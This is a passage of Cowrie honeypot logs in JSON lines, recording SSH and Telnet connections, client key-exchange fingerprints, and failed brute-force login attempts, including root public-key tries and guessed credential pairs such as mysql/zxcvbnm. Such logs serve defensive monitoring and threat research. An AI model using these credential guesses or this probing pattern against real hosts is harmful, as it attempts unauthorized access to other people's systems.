,"hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:25.888014Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54916,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c445dc62615","protocol":"telnet","message":"New connection: 128.199.8.54:54916 (159.203.135.109:23) [session: 2c445dc62615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.142434Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:9b:cb:00:c8:d3:fc:c0:a5:24:17:29:6f:6c:9d:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyFIipMYWyoalHBfw3+N5YxaEZ1lcBBRi06cxGo9/Pe/0DdcHkSiC9+We5M69R1YRuqYApP2VVotQOiDidPVAYEWeiusn1Cjd3eM7qDIRBduba8qdpe8gRD9H3bsDhrMdweltuYIhWJIwQv+w0pPt8TdH0FWyg+Rty3aMWMXr237PDgE5jyuvV6NaHyHHHLBxIbXwQyVd9RlqdQfcA8YviBipV/C9rTwdkpFaMI3paTA9XMxh59CFFU3xN4v41IzOAVZEiqe4sSE6WGEgboCzNsELdsTE0TeM1LekPqGfKgMEdhtX1bmr/Mfe7eSiYsZWkx5U24cVYxkhx5BL6Y7hv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:9b:cb:00:c8:d3:fc:c0:a5:24:17:29:6f:6c:9d:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.154401Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:9b:cb:00:c8:d3:fc:c0:a5:24:17:29:6f:6c:9d:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyFIipMYWyoalHBfw3+N5YxaEZ1lcBBRi06cxGo9/Pe/0DdcHkSiC9+We5M69R1YRuqYApP2VVotQOiDidPVAYEWeiusn1Cjd3eM7qDIRBduba8qdpe8gRD9H3bsDhrMdweltuYIhWJIwQv+w0pPt8TdH0FWyg+Rty3aMWMXr237PDgE5jyuvV6NaHyHHHLBxIbXwQyVd9RlqdQfcA8YviBipV/C9rTwdkpFaMI3paTA9XMxh59CFFU3xN4v41IzOAVZEiqe4sSE6WGEgboCzNsELdsTE0TeM1LekPqGfKgMEdhtX1bmr/Mfe7eSiYsZWkx5U24cVYxkhx5BL6Y7hv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.161408Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:21:e1:f1:93:40:63:ba:fa:ae:c2:c6:ae:08:61:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK9CHrybcQFNokUzqPDxLsQejAfQvFl166ApQLJ3WQCMesqJ6oTt3RIZ2mbpKIblYI813cG1GQZO9sPWRnv8cH9QVQsgxjZHvXue5iQDdqfHXDtS+1yo6B9DtnbfcrkhSdn4Fe4+SJHZqxKwFNTV6demNx/bMspMG9K9dArFdfYlQMnWY1CK53Nt7EmYqKQ2bbvzs8TOjc9VKPl2pEMAmKhH9xlYEpF+Szun/JFeWHUuRdUR4SQPX7zeMSwE9gWjxJIUH8tPtxENtRDpPioBeC8lCid19VLAPk532NDELRDvjVpDCpbpuV2VGEyINTLD9VVhWYA/hENl9vCOGyQWT7Cj2JT5yHbLqTD6pWfaICWoGU7ZdQU+pPo6rC7m9/GbuHPrPE//yZe/KV2urPRGUs4xnw3rz7ADtlKMKRyDkQ62jpM+chNwpA6gSxKApyFwsNyKaJATvcy6U792tNpSKK2CsfEHMJN3tigOpmonEb0qE2+rC4sXnCqjbVklhajFxatPAbfrXvCXA57+mH5lDdP/7wChbJOZDaCXUuSmNewqio4pNeMIfcdbaGm2AwUPiBgYKVvw2DqFIzf0Iwl1XtmETyeJ7ki/c/KZy6/A1olW7kUsjp4136X4b3OINhiYYN8uPvVCalORVOiNdHCQbL6d+CDZh0r280fR3l6pzUiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:21:e1:f1:93:40:63:ba:fa:ae:c2:c6:ae:08:61:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.222188Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:21:e1:f1:93:40:63:ba:fa:ae:c2:c6:ae:08:61:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK9CHrybcQFNokUzqPDxLsQejAfQvFl166ApQLJ3WQCMesqJ6oTt3RIZ2mbpKIblYI813cG1GQZO9sPWRnv8cH9QVQsgxjZHvXue5iQDdqfHXDtS+1yo6B9DtnbfcrkhSdn4Fe4+SJHZqxKwFNTV6demNx/bMspMG9K9dArFdfYlQMnWY1CK53Nt7EmYqKQ2bbvzs8TOjc9VKPl2pEMAmKhH9xlYEpF+Szun/JFeWHUuRdUR4SQPX7zeMSwE9gWjxJIUH8tPtxENtRDpPioBeC8lCid19VLAPk532NDELRDvjVpDCpbpuV2VGEyINTLD9VVhWYA/hENl9vCOGyQWT7Cj2JT5yHbLqTD6pWfaICWoGU7ZdQU+pPo6rC7m9/GbuHPrPE//yZe/KV2urPRGUs4xnw3rz7ADtlKMKRyDkQ62jpM+chNwpA6gSxKApyFwsNyKaJATvcy6U792tNpSKK2CsfEHMJN3tigOpmonEb0qE2+rC4sXnCqjbVklhajFxatPAbfrXvCXA57+mH5lDdP/7wChbJOZDaCXUuSmNewqio4pNeMIfcdbaGm2AwUPiBgYKVvw2DqFIzf0Iwl1XtmETyeJ7ki/c/KZy6/A1olW7kUsjp4136X4b3OINhiYYN8uPvVCalORVOiNdHCQbL6d+CDZh0r280fR3l6pzUiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.225620Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:df:fb:f8:cd:2b:65:b3:40:ef:c7:35:29:e5:6d:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvn/He9O6vMYJRQPH44ZceI9h76c25nxUNGxmtnPcr7lpiyG23VX/pUxEq6FXluO4bP2ccq0mTtAsMDiiGu+Gwd+lH6FtlUzqIM4ChLzmsieFMz7K1QSpra1c/C/4c6XD8l2Whg+K8ifqAtSKtMisYJp2Cq4ormPrZTmz1yr+asoBJOXajKEut2TowiIYZT+kzRgbTW5Zrqtpj9SRe2C6OGi415U9/Gpb3LMOoWAthj5SKs2A8EMVMyCyg82lfxaJTb8bzDZOL3nV7qHH+xWSbxDRU+4M8OXupV3Vmtk9N2Ap/JtSISiJ+PjcuphcOaqHt9uYZbr653G4QiU5lJXQ9GupXdHqaitjsKCRhFnMp0S24bzEm9DNAkcVUhWtSEsmQhdjbmoBcLqt7yU26PVfccS9gbpQ0PlyqRXmm0YHV2kt8iozMZD5BnuV+Cuto4Cs12WG7qE4zQt97p1GqzyMspZ3kimdYgHCMQvwAbYPZNLF3XxxUIcy9oH2xJc0Lq4Oluzxn8JHFpjXhdtjN1JyMVV8Cpm0W3PDvAFl/Y1ejYXNFFmOJugO14YKx2OoaeTXqNmTO+BaBgW0OirsARcxKjr1RElwLFtyp9aoubLt3D//SjvI0t3hh5u9+bChnc4THt8e13FW2qTz1a4jAeTVXSSJ/rxUhct1hV/diUdwwiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:df:fb:f8:cd:2b:65:b3:40:ef:c7:35:29:e5:6d:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.295272Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:df:fb:f8:cd:2b:65:b3:40:ef:c7:35:29:e5:6d:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvn/He9O6vMYJRQPH44ZceI9h76c25nxUNGxmtnPcr7lpiyG23VX/pUxEq6FXluO4bP2ccq0mTtAsMDiiGu+Gwd+lH6FtlUzqIM4ChLzmsieFMz7K1QSpra1c/C/4c6XD8l2Whg+K8ifqAtSKtMisYJp2Cq4ormPrZTmz1yr+asoBJOXajKEut2TowiIYZT+kzRgbTW5Zrqtpj9SRe2C6OGi415U9/Gpb3LMOoWAthj5SKs2A8EMVMyCyg82lfxaJTb8bzDZOL3nV7qHH+xWSbxDRU+4M8OXupV3Vmtk9N2Ap/JtSISiJ+PjcuphcOaqHt9uYZbr653G4QiU5lJXQ9GupXdHqaitjsKCRhFnMp0S24bzEm9DNAkcVUhWtSEsmQhdjbmoBcLqt7yU26PVfccS9gbpQ0PlyqRXmm0YHV2kt8iozMZD5BnuV+Cuto4Cs12WG7qE4zQt97p1GqzyMspZ3kimdYgHCMQvwAbYPZNLF3XxxUIcy9oH2xJc0Lq4Oluzxn8JHFpjXhdtjN1JyMVV8Cpm0W3PDvAFl/Y1ejYXNFFmOJugO14YKx2OoaeTXqNmTO+BaBgW0OirsARcxKjr1RElwLFtyp9aoubLt3D//SjvI0t3hh5u9+bChnc4THt8e13FW2qTz1a4jAeTVXSSJ/rxUhct1hV/diUdwwiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.299111Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:7f:6f:67:9e:20:e3:bd:15:46:fe:75:bd:f8:20:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRjdbZ2aE7Jki/W4OZck9UYuZfRiTuTmoPqEl2viwJ9VlZQa4jQ1wgIGHnUtcEChL+GxNuM+c4dg9X00VyUChsM2CRsVm7NFrC7TKPjmW+hDzlkWrM3SO6fLaaiRUSI29Y7OFQXWye+LJvBLraKTsxi4aXw8rE9/EIhlCUd0tjlSfwZKeJOdqvvHrDG4OuoAczMgkcRFmgZ5a8fxIITP3x/DS5tzIYeaAvNVSJixJHc//qFsJ9kAa/kx9j6xDi20m5lXi5GI/wso9yFe61cnFX/J1cbL5mnLBrI+qYRpjxHXHGEwaSgdF+9uN301Cfy+YgtNylkeiVUNLw+4OGMriAnn9In+QIndOaKte5QHoNAwP3DfMV3zTZvc2lckSdqD/2bCYMyGP/H52bmk1mKzVyZlbEVTxfD8XK0M6ysxMOmjmEZkhhK8uzzB1gn+xDtn2Z/xEUDwfZMzXxYhyfzBWDk+0k8LPn0ouBfKKiC3y/mmY3HoYmnjsCB078Fi5TC6E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:7f:6f:67:9e:20:e3:bd:15:46:fe:75:bd:f8:20:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.359697Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:7f:6f:67:9e:20:e3:bd:15:46:fe:75:bd:f8:20:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRjdbZ2aE7Jki/W4OZck9UYuZfRiTuTmoPqEl2viwJ9VlZQa4jQ1wgIGHnUtcEChL+GxNuM+c4dg9X00VyUChsM2CRsVm7NFrC7TKPjmW+hDzlkWrM3SO6fLaaiRUSI29Y7OFQXWye+LJvBLraKTsxi4aXw8rE9/EIhlCUd0tjlSfwZKeJOdqvvHrDG4OuoAczMgkcRFmgZ5a8fxIITP3x/DS5tzIYeaAvNVSJixJHc//qFsJ9kAa/kx9j6xDi20m5lXi5GI/wso9yFe61cnFX/J1cbL5mnLBrI+qYRpjxHXHGEwaSgdF+9uN301Cfy+YgtNylkeiVUNLw+4OGMriAnn9In+QIndOaKte5QHoNAwP3DfMV3zTZvc2lckSdqD/2bCYMyGP/H52bmk1mKzVyZlbEVTxfD8XK0M6ysxMOmjmEZkhhK8uzzB1gn+xDtn2Z/xEUDwfZMzXxYhyfzBWDk+0k8LPn0ouBfKKiC3y/mmY3HoYmnjsCB078Fi5TC6E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.369198Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:81:03:23:dc:f3:5c:4a:ae:c0:4b:02:fd:fe:28:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwfjChJQQaIhhI8Xkr3fReqZ2SWBHLl49c8I8Ki+kv/H2926BD0AAE2dgplWRnwzNjP/tcfl/K6H2du0QafCpZeagiOvzygYgHVa/bHh5OVwotg0+SJQLssfzUbXNb2nN85DGYVxITaiYL+0NLM5DoOQj+NeRDHl9rqN9eBlFreHdD/fTkQb7tGUmn24Cfg2WpHj0aDVE8iwzbbRlw37U3TN2J+3Honl0ut2eyf2ZU1PvIfPcX4b4ymgkW61byUnGwn5Qsu1RUrGFE1u+u9fiy0BNPfZ7+dkkdw165hnWdLLT8SXp3pkJnoC2fVQ2bzhcb+z0Xdu2kfgGZH9Bf0WVXXX4Y/vw6weddcXxpHkLqAGSJpGsQR6dxemioTISNmosJnUdxEfgHAI2GHywgVHwsPZMYEri5iM8WzOv689oF2ZJbCh8HlMDUzRRo2gqn2El2t5rLlygbw/1nwq+kNU0bI46ybigYve9s6pLEWUQP4YhB7UYXrJ6nu7MJo/K/Kx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:81:03:23:dc:f3:5c:4a:ae:c0:4b:02:fd:fe:28:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.427197Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:81:03:23:dc:f3:5c:4a:ae:c0:4b:02:fd:fe:28:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwfjChJQQaIhhI8Xkr3fReqZ2SWBHLl49c8I8Ki+kv/H2926BD0AAE2dgplWRnwzNjP/tcfl/K6H2du0QafCpZeagiOvzygYgHVa/bHh5OVwotg0+SJQLssfzUbXNb2nN85DGYVxITaiYL+0NLM5DoOQj+NeRDHl9rqN9eBlFreHdD/fTkQb7tGUmn24Cfg2WpHj0aDVE8iwzbbRlw37U3TN2J+3Honl0ut2eyf2ZU1PvIfPcX4b4ymgkW61byUnGwn5Qsu1RUrGFE1u+u9fiy0BNPfZ7+dkkdw165hnWdLLT8SXp3pkJnoC2fVQ2bzhcb+z0Xdu2kfgGZH9Bf0WVXXX4Y/vw6weddcXxpHkLqAGSJpGsQR6dxemioTISNmosJnUdxEfgHAI2GHywgVHwsPZMYEri5iM8WzOv689oF2ZJbCh8HlMDUzRRo2gqn2El2t5rLlygbw/1nwq+kNU0bI46ybigYve9s6pLEWUQP4YhB7UYXrJ6nu7MJo/K/Kx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.432726Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:26.497306Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":52290,"dst_ip":"159.203.135.109","dst_port":22,"session":"8efeb5d1c05c","protocol":"ssh","message":"New connection: 122.168.194.41:52290 (159.203.135.109:22) [session: 8efeb5d1c05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:29.555591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:29.559891Z","src_ip":"122.168.194.41","session":"8efeb5d1c05c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:29.828725Z","src_ip":"122.168.194.41","session":"8efeb5d1c05c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"zxcvbnm","message":"login attempt [mysql/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:30.926879Z","src_ip":"122.168.194.41","session":"8efeb5d1c05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.04060673713684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:31.412978Z","src_ip":"128.199.8.54","session":"dbcc48137c1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:32.200069Z","src_ip":"122.168.194.41","session":"8efeb5d1c05c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43798,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fa0ecf268b8","protocol":"telnet","message":"New connection: 128.199.8.54:43798 (159.203.135.109:23) [session: 8fa0ecf268b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:33.094588Z"}
{"eventid":"cowrie.session.closed","duration":33.752416372299194,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:46.526838Z","src_ip":"128.199.8.54","session":"d6f22898b238","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49760,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba89efba2d35","protocol":"telnet","message":"New connection: 128.199.8.54:49760 (159.203.135.109:23) [session: ba89efba2d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:49.753070Z"}
{"eventid":"cowrie.session.closed","duration":34.075602531433105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:59.156587Z","src_ip":"128.199.8.54","session":"f29005d5a72e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.892210960388184,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:00.034528Z","src_ip":"128.199.8.54","session":"2c445dc62615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.310657262802124,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:07.405129Z","src_ip":"128.199.8.54","session":"8fa0ecf268b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.968382358551025,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:22.721343Z","src_ip":"128.199.8.54","session":"ba89efba2d35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60088,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0e051667ca","protocol":"telnet","message":"New connection: 128.199.8.54:60088 (159.203.135.109:23) [session: 7e0e051667ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:25.823400Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":51514,"dst_ip":"159.203.135.109","dst_port":22,"session":"87cb0445a059","protocol":"ssh","message":"New connection: 122.168.194.41:51514 (159.203.135.109:22) [session: 87cb0445a059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:26.218415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:26.223943Z","src_ip":"122.168.194.41","session":"87cb0445a059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:26.488387Z","src_ip":"122.168.194.41","session":"87cb0445a059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r","message":"login attempt [ubuntu/q1w2e3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:27.577369Z","src_ip":"122.168.194.41","session":"87cb0445a059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:28.843412Z","src_ip":"122.168.194.41","session":"87cb0445a059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.37.113.3","src_port":50342,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c259a6adcbc","protocol":"telnet","message":"New connection: 49.37.113.3:50342 (159.203.135.109:23) [session: 3c259a6adcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:30.410510Z"}
{"eventid":"cowrie.session.closed","duration":13.611835956573486,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:44.022225Z","src_ip":"49.37.113.3","session":"3c259a6adcbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54386,"dst_ip":"10.17.0.5","dst_port":22,"session":"7209e4873650","protocol":"ssh","message":"New connection: 103.15.226.202:54386 (10.17.0.5:22) [session: 7209e4873650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:51.241131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:51.245461Z","src_ip":"103.15.226.202","session":"7209e4873650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecd